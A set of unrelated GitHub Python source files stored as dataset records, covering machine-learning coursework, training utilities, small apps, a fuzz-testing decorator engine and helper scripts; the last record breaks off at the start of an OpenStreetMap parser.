Assignment 1 ~ part1\r\n# James Hooper ~ NETID: jah171230\r\n# Hritik Panchasara ~ NETID: hhp160130\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\nimport seaborn as sns\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import mean_squared_error, r2_score\r\n\r\n'''\r\n Gradient Descent Function\r\n Implements Adam Optimizer\r\n ~ Inputs:\r\n ~ x = input attributes\r\n ~ y = output\r\n ~ weights = initialized weights\r\n ~ iterations = number of iterations\r\n ~ Returns:\r\n ~ final weights \r\n ~ Mean Squared Error array to be graphed\r\n'''\r\ndef enhanced_gradient_descent(x, y, weights, iterations):\r\n # Adam Optimizer Variables\r\n # Recommended values: alpha = 0.001, beta1 = 0.9, beta2 = 0.999 and epsilon = 10**−8\r\n alpha = .001\r\n beta1 = .9\r\n beta2 = .999\r\n epsilon = 10**-8\r\n m = 0\r\n v = 0\r\n\r\n # Graph MSE\r\n MSEgraph = np.zeros((iterations,1))\r\n\r\n for k in range(iterations):\r\n # Initialize Hypothesis\r\n H = np.dot(x, weights)\r\n\r\n # Define Error\r\n # E = H - Y\r\n E = np.subtract(H, y)\r\n\r\n # Define Mean Squared Error\r\n MSE = (1 / (2 * (int(len(y))))) * np.dot(np.transpose(E), E)\r\n # Place MSE value in correct array placement\r\n MSEgraph[k] = MSE\r\n\r\n # Define Gradient -> MSE derivative to weight\r\n gradient = (1 / (int(len(y)))) * np.dot(np.transpose(x), E)\r\n\r\n # Calculate m for gradient component\r\n m = (beta1 * m) + ((1 - beta1) * gradient)\r\n # Calculate v for learing rate component\r\n v = (beta2 * v) + ((1 - beta2) * (gradient**2))\r\n\r\n # Get Adam Equation for weight update\r\n adam_equation = (((alpha)/(np.sqrt(v) + epsilon)) * m)\r\n\r\n # Revise Weights\r\n # New Weight = Old Weight - Adam Equation\r\n weights = np.subtract(weights, adam_equation)\r\n\r\n return weights, MSEgraph\r\n\r\n'''\r\n Pre-Processing Function\r\n ~ Process Data: \r\n ~ Modifies Data\r\n ~ Graphic Display: \r\n ~ Displays graphs about the Data for analysis\r\n'''\r\ndef pre_process(data, state, drop_cols, print_data_graphs, split_size):\r\n '''\r\n Process Data ~ Drop Duplicates\r\n ~ Keep first instances of duplicates\r\n '''\r\n data.drop_duplicates(keep='first', inplace=True)\r\n\r\n if print_data_graphs == True:\r\n # null value check\r\n print(\"null\", data.isnull().sum())\r\n\r\n '''\r\n Graphic Display ~ Attribute Correlation Heatmap \r\n COMMENT: AT & V have .84 correlation\r\n '''\r\n # Comptue pairwise correlation of columns\r\n corr = data.corr()\r\n # Display Heatmap of Correlations\r\n axHeat = plt.axes()\r\n cmap = sns.light_palette(\"#2a9669\", as_cmap=True)\r\n axi1 = sns.heatmap(corr, ax = axHeat, cmap = cmap, annot=True)\r\n axHeat.set_title('Heatmap of Attribute Correlation', fontsize=24)\r\n plt.show()\r\n\r\n '''\r\n Graphic Display ~ Attribute Plots (inputs & output)\r\n '''\r\n i = 1\r\n for column in data:\r\n plt.subplot(5, 1, i)\r\n plt.subplots_adjust(hspace=1.2)\r\n data[column].plot(color='#c73f24')\r\n plt.title(column, y=1.00, loc='center', color='#23c48e', fontsize=24, fontweight=24)\r\n i+=1\r\n plt.show()\r\n\r\n '''\r\n Process Data ~ Drop Columns\r\n ~ We can choose AT or V here.\r\n '''\r\n if drop_cols == True:\r\n data = data.drop(columns=['AT'])\r\n\r\n '''\r\n Process Data ~ Split & Scale Data\r\n '''\r\n data_x = data.drop(data.columns[-1], axis=1)\r\n data_y = data[['PE']]\r\n # Convert to numpy array\r\n X = data_x.to_numpy()\r\n Y = data_y.to_numpy()\r\n\r\n '''\r\n Add Bias Term\r\n ~ Column of 1's\r\n '''\r\n bias = np.ones(shape=(X.shape[0],1))\r\n X = np.append(bias, X, axis=1)\r\n\r\n return train_test_split(X, Y, test_size=split_size, random_state=state)\r\n\r\n'''\r\n Driver Function\r\n'''\r\ndef main(state):\r\n # Attributes:\r\n # Frequency, Angle of Attack, Chord Length, Free-Stream Velocity, Suction S.D.T., Sound Pressure Level\r\n # 5 input variables, 1 output variable\r\n # Retrieve Data from GitHub Repository\r\n url = \"https://raw.githubusercontent.com/jamesH-48/Enhanced-Gradient-Descent/master/Combined%20Cycle%20Power%20Plant%20.csv\"\r\n data = pd.read_csv(url, header=0)\r\n\r\n '''\r\n Pre-Processing\r\n ~ Can set if you want to print graphs out or not.\r\n ~ Can drop columns that are deemed droppable.\r\n ~ Drop columns deemed necessary\r\n ~ There was a check for NaN values\r\n ~ Can set train/test split size\r\n ~ .1 -> 90% train 10% test\r\n ~ .2 -> 80% train 20% test\r\n ~ etc.\r\n ~ Returns:\r\n ~ x_train, x_test, y_train, y_test from train-test split of the pre-processed data\r\n '''\r\n drop_cols = False\r\n print_data_graphs = False\r\n split_size = .2\r\n X_train, X_test, Y_train, Y_test = pre_process(data, state, drop_cols, print_data_graphs, split_size)\r\n\r\n '''\r\n print(\"X_train: \", X_train.shape)\r\n print(\"X_test: \", X_test.shape)\r\n print(\"Y_train: \", Y_train.shape)\r\n print(\"Y_test: \", Y_test.shape)\r\n '''\r\n\r\n\r\n '''\r\n Call the Enhanced Gradient Descent Function\r\n ~ Intialize weights, learning rate, iterations\r\n ~ Call Enhanced Gradient Descent Function\r\n !!! IMPORTANT !!!\r\n The Enhanced Gradient Descent implements the Adam optimizer.\r\n The special optimizer values are defined in the function.\r\n Special Optimizer values include: alpha, beta1, beta2, and epsilon\r\n '''\r\n if drop_cols:\r\n # Initialize Weights\r\n Weights = np.array([[0],[0],[0],[0]])\r\n else:\r\n Weights = np.array([[0], [0], [0], [0], [0]])\r\n # Initialize Iterations\r\n iterations = 10000\r\n Final_Weights, MSEgraph = enhanced_gradient_descent(X_train, Y_train, Weights, iterations)\r\n\r\n '''\r\n Graphic Display ~ Mean Squared Error\r\n '''\r\n figureMSE, axMSE = plt.subplots()\r\n axMSE.plot(MSEgraph, color='#c73f24')\r\n axMSE.set_title(\"Mean Squared Error\", color='#23c48e')\r\n axMSE.set_xlabel(\"No. of Iterations\")\r\n\r\n plt.show()\r\n\r\n '''\r\n Final Values Print \r\n ~ Mean Squared Error & R^2\r\n ~ Parameters Used\r\n ~ Coefficients\r\n ~ Graphs\r\n '''\r\n # Apply Model found Weights to Test Data Set\r\n # Get Y prediction Values from Test Data x Weights Found\r\n # Compare Y prediction Values with actual output values from test data set\r\n Y_pred1 = np.dot(X_train, Final_Weights)\r\n Y_pred2 = np.dot(X_test, Final_Weights)\r\n\r\n # Parameters Used\r\n print(\"Parameters Used:\")\r\n print(\"State: \", state)\r\n # Adam Optimizer Variables\r\n # Recommended values: alpha = 0.001, beta1 = 0.9, beta2 = 0.999 and epsilon = 10**−8\r\n print(\"Alpha: .001\\t|Beta1: .9\\t|Beta2: .999\\t|Epsilon: 10^-8\\t|m = 0\\t|v = 0\")\r\n print(\"Iterations: \", iterations)\r\n print(\"Train Split: \", (1 - split_size)*100, \"%\\t|Test Split: \", split_size*100, \"%\")\r\n\r\n # Coefficients\r\n coef = [] # Initialize\r\n for i in range(Final_Weights.shape[0]): # For Print & Bar Graph\r\n coef.append(Final_Weights[i][0])\r\n print('Coefficients: \\n', coef)\r\n # Train Accuracy\r\n print(\"Train Accuracy:\")\r\n print(\"Mean Squared Error: \", mean_squared_error(Y_pred1, Y_train))\r\n print(\"R^2 Value: \", r2_score(Y_pred1, Y_train))\r\n # Test Accuracy\r\n print(\"Test Accuracy:\")\r\n print(\"Mean Squared Error: \", mean_squared_error(Y_pred2, Y_test))\r\n print(\"R^2 Value: \", r2_score(Y_pred2, Y_test))\r\n\r\n '''\r\n Graphic Display ~ Train Accuracy & Test Accuracy Plots\r\n '''\r\n # Print Plot of Outputs\r\n figure1, ax = plt.subplots()\r\n figure2, ax2 = plt.subplots()\r\n # Can't really gather anything from this graph since it is so dense.\r\n ax.plot(Y_train, color='#060064', markersize=5, label=\"Actual\")\r\n ax.plot(Y_pred1, color='#daff4f', markersize=5, label=\"Prediction\")\r\n ax.set_title('Y Train Dataset')\r\n ax.set_xlabel('No. of Values')\r\n ax.legend(bbox_to_anchor=(1, 1), loc='upper left', borderaxespad=0.)\r\n ax2.plot(Y_test, color='black', markersize=5, label=\"Actual\")\r\n ax2.plot(Y_pred2, color='#00ffc3', markersize=5, label=\"Prediction\")\r\n ax2.set_title('Y Test Dataset')\r\n ax2.set_xlabel('No. of Values')\r\n ax2.legend(bbox_to_anchor=(1, 1), loc='upper left', borderaxespad=0.)\r\n\r\n if not drop_cols:\r\n '''\r\n Graphic Display ~ Coefficient Bar Graph\r\n '''\r\n # Weights Bar Graph\r\n labels = ['Temperature', 'Ambient Pressure', 'Relative Humidity', 'Exhaust Vacuum', 'Bias']\r\n x = np.arange(len(labels)) # Location of Labels\r\n width = .5 # Width of the bars\r\n figureW, axW = plt.subplots()\r\n bars = axW.bar(x, coef, width, color='#ff4f72') # Coef is from Weight Print\r\n axW.set_ylabel('Weight')\r\n axW.set_title('Coefficients')\r\n axW.set_xticks(x)\r\n axW.set_xticklabels(labels)\r\n\r\n plt.show()\r\n\r\n'''\r\n Main Function\r\n'''\r\nif __name__ == '__main__':\r\n print(\"Part 1 of Enhanced Gradient Descent\")\r\n # State is the seeded order of data that is randomized in train-test-split from sklearn\r\n state = 5\r\n main(state)","repo_name":"jamesH-48/Enhanced-Gradient-Descent","sub_path":"part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":9507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28639233538","text":"import os\nimport math\nimport numpy as np\nimport torch\nimport shutil\nimport torchvision.transforms as transforms\nfrom torch.autograd import Variable\n\n\nclass AvgrageMeter(object):\n\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.avg = 0\n self.sum = 0\n self.cnt = 0\n\n def update(self, val, n=1):\n self.sum += val * n\n self.cnt += n\n self.avg = self.sum / self.cnt\n\n\nclass LRScheduler:\n def __init__(self, optimizer, args):\n self.last_lr_reset = 0\n self.lr_T_0 = args.child_lr_T_0\n self.child_lr_T_mul = args.child_lr_T_mul\n self.child_lr_min = args.child_lr_min\n self.child_lr_max = args.child_lr_max\n self.optimizer = optimizer\n\n def update(self, epoch):\n T_curr = epoch - self.last_lr_reset\n if T_curr == self.lr_T_0:\n self.last_lr_reset = epoch\n self.lr_T_0 = self.lr_T_0 * self.child_lr_T_mul\n rate = T_curr / self.lr_T_0 * math.pi\n lr = self.child_lr_min + 0.5 * (self.child_lr_max - self.child_lr_min) * (1.0 + math.cos(rate))\n for param_group in self.optimizer.param_groups:\n param_group['lr'] = lr\n return lr\n\n\ndef accuracy(output, target, topk=(1,)):\n maxk = max(topk)\n batch_size = target.size(0)\n\n _, pred = output.topk(maxk, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n res = []\n for k in topk:\n correct_k = correct[:k].view(-1).float().sum(0)\n res.append(correct_k.mul_(100.0/batch_size))\n return res\n\n\nclass Cutout(object):\n def __init__(self, length):\n self.length = length\n\n def __call__(self, img):\n h, w = img.size(1), img.size(2)\n mask = np.ones((h, w), np.float32)\n y = np.random.randint(h)\n x = np.random.randint(w)\n\n y1 = np.clip(y - self.length // 2, 0, h)\n y2 = np.clip(y + self.length // 2, 0, h)\n x1 = np.clip(x - self.length // 2, 0, w)\n x2 = np.clip(x + self.length // 2, 0, w)\n\n mask[y1: y2, x1: x2] = 0.\n mask = torch.from_numpy(mask)\n mask = mask.expand_as(img)\n img *= mask\n return img\n\ndef save_checkpoint(state, is_best, save):\n filename = os.path.join(save, 'checkpoint.pth.tar')\n torch.save(state, filename)\n if is_best:\n best_filename = os.path.join(save, 'model_best.pth.tar')\n shutil.copyfile(filename, best_filename)\n\n\ndef save(model, model_path):\n torch.save(model.state_dict(), model_path)\n\n\ndef load(model, model_path):\n model.load_state_dict(torch.load(model_path))\n\n\ndef drop_path(x, drop_prob):\n if drop_prob > 0.:\n keep_prob = 1.-drop_prob\n mask = Variable(torch.cuda.FloatTensor(x.size(0), 1, 1, 1).bernoulli_(keep_prob))\n x.div_(keep_prob)\n x.mul_(mask)\n return x\n\n\ndef create_exp_dir(path, scripts_to_save=None):\n if not os.path.exists(path):\n os.mkdir(path)\n print('Experiment dir : {}'.format(path))\n\n if scripts_to_save is not None:\n #os.mkdir(os.path.join(path, 'scripts'))\n for script in scripts_to_save:\n dst_file = os.path.join(path, 'scripts', os.path.basename(script))\n shutil.copyfile(script, dst_file)\n\n","repo_name":"antoyang/NAS-Benchmark","sub_path":"ENASPytorch/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3255,"program_lang":"python","lang":"en","doc_type":"code","stars":148,"dataset":"github-code","pt":"31"} +{"seq_id":"37386489627","text":"import streamlit as st\r\n\r\ntext = st.text_input(\"Shkruani nje text: \")\r\n\r\n\r\nupper_list=[]\r\n\r\n\r\ndef convert_list(text):\r\n lst1=text.split()\r\n return lst1\r\nconvert=convert_list(text)\r\ndef all_upper(convert):\r\n for x in convert:\r\n txt=x.upper() \r\n upper_list.append(txt)\r\n return upper_list\r\nupper=all_upper(convert)\r\n\r\ndef count(convert):\r\n return len(convert)\r\ncount_elements = count(convert)\r\nif st.button('Return list'):\r\n st.write(convert)\r\n\r\nif st.button('upper list'):\r\n st.write(upper)\r\n\r\nif st.button('print'):\r\n st.write(count_elements)\r\n\r\n\r\n","repo_name":"HygertaHulaj/Hygerta__streamlit_test_1_12_22","sub_path":"provimi/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4180470579","text":"#!/usr/bin/python3\n\nfrom os import system\nfrom typing import List\nimport argparse\nimport env\nimport jsontools\n\n\ndef __check_known_service(service: str) -> str:\n ''' Check if service is a supported service. '''\n try:\n return env.SERVICES[service]\n except:\n raise argparse.ArgumentTypeError('Unknown service \"{}\", supported services are: {}'.format(service, env.SERVICES))\n\n\ndef __disable(services: List[str], all: bool = False, **other):\n ''' Disable supervision for services. '''\n if not services and not all:\n raise RuntimeError('disable: No services and no --all, do not know what to do')\n for service in services if not all else env.SERVICES.values():\n __supervision(service=service, enable=False)\n\n\ndef __enable(services: List[str], all: bool = False, **other):\n ''' Enable supervision for services. '''\n if not services and not all:\n raise RuntimeError('enable: No services and no --all, do not know what to do')\n for service in services if not all else env.SERVICES.values():\n __supervision(service=service, enable=True)\n\n\ndef __no_mode_selected(**other):\n ''' Print error for no mode. '''\n print('No mode selected, please refer to \"supervision.py --help\" for more information')\n\n\ndef __supervision(service: str, enable: bool, platform: str = 'linux'):\n ''' Enable/disable supervision for service in platform. '''\n query = ['services', service]\n add = {'startup': enable, 'restart': enable}\n jsontools.json_tools(file='{}/data/config/platforms/{}.json'.format(env.DESKTOP_CRUIZERPRO, platform), add=add, query=query, write=True)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Disable supervision for given service')\n parser.set_defaults(func=__no_mode_selected)\n\n subparsers = parser.add_subparsers(title='Mode')\n\n parser_enable = subparsers.add_parser('enable', help='Enable supervision, one of the options is required')\n parser_enable_service = parser_enable.add_mutually_exclusive_group()\n parser_enable_service.add_argument('-s', '--services', nargs='+', type=__check_known_service, help='Services to enable, provide point seperated list for multiple services')\n parser_enable_service.add_argument('-a', '--all', action='store_true', help='Enable supervision of all supported services')\n parser_enable.set_defaults(func=__enable)\n\n parser_disable= subparsers.add_parser('disable', help='Disable supervision, one of the options is required')\n parser_disable_service = parser_disable.add_mutually_exclusive_group()\n parser_disable_service.add_argument('-s', '--services', nargs='+', type=__check_known_service, help='Services to disable, provide point seperated list for multiple services')\n parser_disable_service.add_argument('-a', '--all', action='store_true', help='Disable supervision of all supported services')\n parser_disable.set_defaults(func=__disable)\n\n args = parser.parse_args()\n args.func(**args.__dict__)\n","repo_name":"GerardHH/home-settings","sub_path":"bin/supervision.py","file_name":"supervision.py","file_ext":"py","file_size_in_byte":2989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25268781982","text":"import numpy as np\r\ndef read_list(filename):\r\n c = np.loadtxt(filename)\r\n c = c.tolist()\r\n x = [int(x) for x in c]\r\n # print(x)\r\n return x\r\n\r\nif __name__ == '__main__':\r\n read_list(\"test_1.txt\")","repo_name":"juzhongren/3D-GAN","sub_path":"read_datalist.py","file_name":"read_datalist.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23678319399","text":"#\n# @lc app=leetcode.cn id=89 lang=python3\n#\n# [89] 格雷编码\n#类似遍历二进制\n\n# @lc code=start\nclass Solution:\n def grayCode(self, n: int) -> List[int]:\n res,head=[0],1\n for i in range(n):\n for j in range(len(res)-1,-1,-1):\n res.append(head+res[j])\n head <<=1 \n #有找规律的嫌疑,利用对head的进位,分别加0和1最后输出结果\n # head =head *(2**1) <<代表2的进位操作,反之则退位\n return res\n\n# @lc code=end\n\n","repo_name":"xinzhifumeng/learn","sub_path":"leetcode/89.格雷编码.py","file_name":"89.格雷编码.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"69887293210","text":"#! /usr/bin/python3\n# pylint: disable=no-member\n\n'''\nDescription: Дашборд для приставки RetroGenesis\nAuthor: rondo.devil@gmail.com\nDate: 2018\n''' \nfrom app import App\n\nif __name__ == \"__main__\":\n app = App()\n app.run()","repo_name":"eXponenta/pyDash","sub_path":"__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17789140140","text":"#! /usr/bin/env python\r\n# -*- coding: UTF-8 -*-\r\n# Author : tintinweb@oststrom.com \r\nimport inspect\r\nimport hashlib\r\nimport logging\r\nimport bisect\r\nimport random\r\nfrom collections import Counter\r\n\r\nlogger = logging.getLogger(\"decofuzz.engine\")\r\n\r\nclass StopFuzzing(Exception):pass\r\n\r\nclass Queue(object):\r\n STRATEGY_REPLACE = 1\r\n STRATEGY_PRE_MANGLE = 2\r\n STRATEGY_POST_MANGLE = 3\r\n def __init__(self):\r\n self.weighted_pick = WeightedChoice()\r\n self.strategy = self.STRATEGY_REPLACE\r\n \r\n def add(self, f, p=1, strategy=None):\r\n strategy = strategy if strategy else self.STRATEGY_REPLACE\r\n self.weighted_pick.add(f,p)\r\n \r\n def execute(self, *args, **kwargs):\r\n return self.weighted_pick.next()(*args,**kwargs)\r\n \r\n def get_stats(self):\r\n return self.weighted_pick.stats\r\n \r\n\r\nclass FuzzControl(object):\r\n def __init__(self):\r\n self.MUTATE_INT = True\r\n self.MUTATE_STR = True\r\n self.MUTATE_BYTE = True\r\n self.MUTATION_PER_RUN = 5\r\n self.signatures_func = {}\r\n self.signatures_invocations = {}\r\n self.fuzz_methods = {} # name: func\r\n self.reset()\r\n logger.debug(\"--init--\")\r\n \r\n def reset(self):\r\n self.mutations = 0\r\n logger.info(\"--reset--\")\r\n \r\n def add_fuzzdef(self, fname, f, p=1, strategy=None):\r\n self.fuzz_methods.setdefault(fname,Queue())\r\n self.fuzz_methods[fname].add(f=f,p=p,strategy=strategy)\r\n \r\n def hash_sig(self, seq):\r\n return hashlib.sha256(''.join(str(e) for e in seq)).hexdigest()\r\n \r\n def print_trace(self):\r\n for x in inspect.stack():\r\n logger.debug(x)\r\n logger.debug(\"-------\")\r\n \r\n def candidate(self, f):\r\n signature = tuple([self.hash_sig(frame) for frame in inspect.stack()])\r\n self.signatures_func.setdefault(signature,0)\r\n logger.info(\"adding static candidate: %s\"%f)\r\n self.print_trace()\r\n \r\n def mutate_candidate(*args, **kwargs):\r\n signature = tuple([self.hash_sig(frame) for frame in inspect.stack()])\r\n self.signatures_invocations.setdefault(signature,0)\r\n logger.info(\"adding dynamic candidate: %s\"%f)\r\n self.print_trace()\r\n if self.mutations >= self.MUTATION_PER_RUN:\r\n raise StopFuzzing()\r\n if self.fuzz_methods.has_key(f.func_name) \\\r\n and self.signatures_invocations[signature]==0 \\\r\n and self.mutations < self.MUTATION_PER_RUN:\r\n self.mutations += 1\r\n # mutate\r\n logger.info(\"--WHOOP WHOOP MUTATE! %s - %s\"%(f.func_name,repr(signature)))\r\n \r\n q = self.fuzz_methods[f.func_name]\r\n if q.strategy == Queue.STRATEGY_REPLACE:\r\n return self.fuzz_methods[f.func_name].execute(*args, **kwargs)\r\n elif q.strategy == Queue.STRATEGY_PRE_MANGLE:\r\n ret = self.fuzz_methods[f.func_name].execute(*args, **kwargs)\r\n kwargs['wrapped_return'] = ret\r\n return f(*args, **kwargs)\r\n elif q.strategy == Queue.STRATEGY_POST_MANGLE:\r\n ret = f(*args, **kwargs)\r\n kwargs['wrapped_return'] = ret\r\n return self.fuzz_methods[f.func_name].execute(*args, **kwargs)\r\n return f(*args, **kwargs)\r\n return mutate_candidate\r\n \r\n def get_stats(self, p=None):\r\n if p:\r\n return self.fuzz_methods[p].get_stats()\r\n stats = Counter()\r\n for f,o in self.fuzz_methods.iteritems():\r\n m = Counter(o.get_stats())\r\n stats += m\r\n return stats\r\n \r\nclass WeightedChoice(object):\r\n def __init__(self):\r\n self.totals = []\r\n self.weights = []\r\n self.running_total = 0\r\n self.stats = {}\r\n\r\n def add(self, f, p=1):\r\n self.weights.append((f,p))\r\n self.running_total += p\r\n self.totals.append(self.running_total) \r\n\r\n def next(self):\r\n rnd = random.random() * self.totals[-1]\r\n i = bisect.bisect_right(self.totals, rnd)\r\n f = self.weights[i][0]\r\n self.stats.setdefault(f,0)\r\n self.stats[f]+=1\r\n return f\r\n\r\nFuzzMaster = FuzzControl()\r\nlogger.info(\"FuzzControl init.\")","repo_name":"tintinweb/decofuzz","sub_path":"decofuzz/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":4424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1447048425","text":"from app import mongo, _logger\n\nfrom flask import Blueprint, request, jsonify, current_app\n\nstars_bp = Blueprint('stars_bp', __name__)\n\n\n@stars_bp.route(\"/stars\", methods=[\"POST\"])\ndef create():\n _logger.info(f\"Connecting to: '{current_app.config['SUPPRESSED_MONGO_URI']}'\")\n star = mongo.db.stars\n name = request.json[\"name\"]\n distance = request.json[\"distance\"]\n star_id = star.insert({\"name\": name, \"distance\": distance})\n new_star = star.find_one({\"_id\": star_id})\n output = {\"name\": new_star[\"name\"], \"distance\": new_star[\"distance\"]}\n return jsonify({\"result\": output})\n","repo_name":"ShehabEl-DeenAlalkamy/sentinel-dashboard","sub_path":"reference-app/backend/app/routes/stars.py","file_name":"stars.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72919264727","text":"\"\"\"\r\nDefine `SecondaryPrompt` class.\r\n\r\nThe method `get_str()` defines the output of the object.\r\n\r\n\"\"\"\r\n\r\nfrom datetime import datetime\r\n\r\nfrom .exceptions import IncorrectParameterTypeError\r\nfrom .primary_prompt import PrimaryPrompt\r\n\r\n\r\nclass SecondaryPrompt:\r\n \"\"\"\r\n Class for following primary prompt indentation in interactive mode.\r\n\r\n The object is expected to be assinged to `sys.ps2` to change the\r\n prompt in interactive mode. This can be done in Python startup\r\n script.\r\n \r\n Attributes\r\n ----------\r\n prompt\r\n \"\"\"\r\n \r\n def __init__(self, primary_prompt: PrimaryPrompt, prompt: str = '... '):\r\n \"\"\"\r\n Initialize a secondary prompt object.\r\n \r\n Parameters\r\n ----------\r\n prompt : str or None, default '... '\r\n Text in secondary prompt.\r\n \r\n Raises\r\n ------\r\n IncorrectParameterTypeError\r\n Any of the parameter values have unexpected type.\r\n \"\"\"\r\n self.prompt = prompt\r\n \"\"\"Text in secondary prompt.\"\"\"\r\n\r\n self._primary_prompt = primary_prompt\r\n \r\n if not isinstance(primary_prompt, PrimaryPrompt):\r\n raise IncorrectParameterTypeError(\r\n 'primary_prompt', type(primary_prompt).__name__,\r\n 'secondary prompt', expected_type='PrimaryPrompt object'\r\n )\r\n if not isinstance(prompt, str):\r\n raise IncorrectParameterTypeError(\r\n 'prompt', type(primary_prompt).__name__, 'secondary prompt',\r\n expected_type='string'\r\n )\r\n\r\n def __str__(self):\r\n return self.get_str(datetime.now())\r\n \r\n def get_str(self, now: datetime):\r\n time_tag = self._primary_prompt.get_time_tag(now)\r\n primary_len = None\r\n if time_tag is None:\r\n primary_len = len(self._primary_prompt.default_prompt)\r\n else:\r\n primary_len = len(time_tag + self._primary_prompt.tag_end_prompt)\r\n \r\n return f'{self.prompt:>{primary_len}}'\r\n","repo_name":"tampasto/time_tag_birthday_prompt","sub_path":"time_tag_birthday_prompt/secondary_prompt.py","file_name":"secondary_prompt.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24847858938","text":"from transformers import AutoTokenizer, AutoModel, AutoConfig, BertTokenizer, BertModel, BertConfig, BertweetTokenizer\nimport zlib\nimport base64\nimport argparse\nimport config as conf\nimport sqlite3\nimport hashlib\n\nmodelByLanguage = {}\nmultilingualModel = {\"mbert\": \"bert-base-multilingual-cased\", \"xlm-roberta\": \"xlm-roberta-large\"}\nspanishModel = {\"beto\": \"dccuchile/bert-base-spanish-wwm-uncased\", \"spanbert\": \"SpanBERT/spanbert-base-uncased\"}\nenglishModel = {\"roberta\": \"roberta-base\", \"bert\": \"bert-base-uncased\", 'bertweet': 'vinai/bertweet-base'}\nitalianModel = {\"alberto\": 'm-polignano-uniba/bert_uncased_L-12_H-768_A-12_italian_alb3rt0',\n 'umberto': 'Musixmatch/umberto-wikipedia-uncased-v1'}\n\nmodelByLanguage[\"es\"] = spanishModel\nmodelByLanguage[\"en\"] = englishModel\nmodelByLanguage[\"it\"] = italianModel\nmodelByLanguage[\"ml\"] = multilingualModel\n\ndef getModelTokenizerConfig(modelName, lang):\n config, model, tokenizer = None, None, None\n if lang in modelByLanguage:\n if modelName in [\"beto\", 'mbert']:\n model = AutoModel.from_pretrained(\n modelByLanguage[lang][modelName]) # , output_hidden_states=True, # +return_dict=True)\n tokenizer = BertTokenizer.from_pretrained(modelByLanguage[lang][modelName])\n elif modelName in modelByLanguage[lang]:\n model = AutoModel.from_pretrained(\n modelByLanguage[lang][modelName]) # , output_hidden_states=True,return_dict=True)\n if modelName == 'bertweet':\n tokenizer = BertweetTokenizer.from_pretrained(modelByLanguage[lang][modelName])\n else:\n tokenizer = AutoTokenizer.from_pretrained(modelByLanguage[lang][modelName])\n # config = AutoConfig.from_pretrained(modelByLanguage[lang][modelName])\n return model, tokenizer\n\nclass SqliteDB:\n def __init__(self, dbname='database/urls.sqlite3'):\n self.db = sqlite3.connect(dbname)\n self.db.execute('''CREATE TABLE IF NOT EXISTS urls\n (hash BLOB PRIMARY KEY, url TEXT)''')\n\n def shorten(self, url):\n h = sqlite3.Binary(hashlib.sha256(url.encode('ascii')).digest())\n with self.db:\n self.db.execute('INSERT OR IGNORE INTO urls VALUES (?, ?)', (h, url))\n return base64.urlsafe_b64encode(h).decode('ascii')\n\n def geturl(self, shortened_url):\n h = sqlite3.Binary(base64.urlsafe_b64decode(shortened_url.encode('ascii')))\n with self.db:\n url = self.db.execute('SELECT url FROM urls WHERE hash=?', (h,)).fetchone()\n if url is None:\n raise KeyError(shortened_url)\n return url[0]\n\n def close(self):\n if self.db != None:\n self.db.close()\n\ndef replace_param_value(params, pvalues):\n info=dict(params)\n for key in pvalues:\n if key in info: info[key]=pvalues[key](info[key])\n return list(info.items())\n\nclass BertConfig:\n def __init__(\n self,\n vocab_size=30522,\n hidden_size=768,\n num_hidden_layers=12,\n num_attention_heads=12,\n intermediate_size=3072,\n hidden_act=\"gelu\",\n hidden_dropout_prob=0.1,\n attention_probs_dropout_prob=0.1,\n max_position_embeddings=512,\n type_vocab_size=2,\n initializer_range=0.02,\n layer_norm_eps=1e-12,\n pad_token_id=0,\n gradient_checkpointing=False,\n position_embedding_type=\"absolute\",\n use_cache=True,\n **kwargs\n ):\n super().__init__(pad_token_id=pad_token_id, **kwargs)\n\n self.vocab_size = vocab_size\n self.hidden_size = hidden_size\n self.num_hidden_layers = num_hidden_layers\n self.num_attention_heads = num_attention_heads\n self.hidden_act = hidden_act\n self.intermediate_size = intermediate_size\n self.hidden_dropout_prob = hidden_dropout_prob\n self.attention_probs_dropout_prob = attention_probs_dropout_prob\n self.max_position_embeddings = max_position_embeddings\n self.type_vocab_size = type_vocab_size\n self.initializer_range = initializer_range\n self.layer_norm_eps = layer_norm_eps\n self.gradient_checkpointing = gradient_checkpointing\n self.position_embedding_type = position_embedding_type\n self.use_cache = use_cache\n","repo_name":"reynierortegabueno86/IronyMultiPytorch","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2971396197","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#import xml.etree.ElementTree as ET\nfrom lxml import etree as ET\nimport pprint\nimport re\nimport codecs\nimport json\nimport sys\n\"\"\"\n\n\"\"\"\n\n\nlower = re.compile(r'^([a-z]|_)*$')\nlower_colon = re.compile(r'^([a-z]|_)*:([a-z]|_)*$')\nproblemchars = re.compile(r'[=\\+/&<>;\\'\"\\?%#$@\\,\\. \\t\\r\\n]')\n\nCREATED = 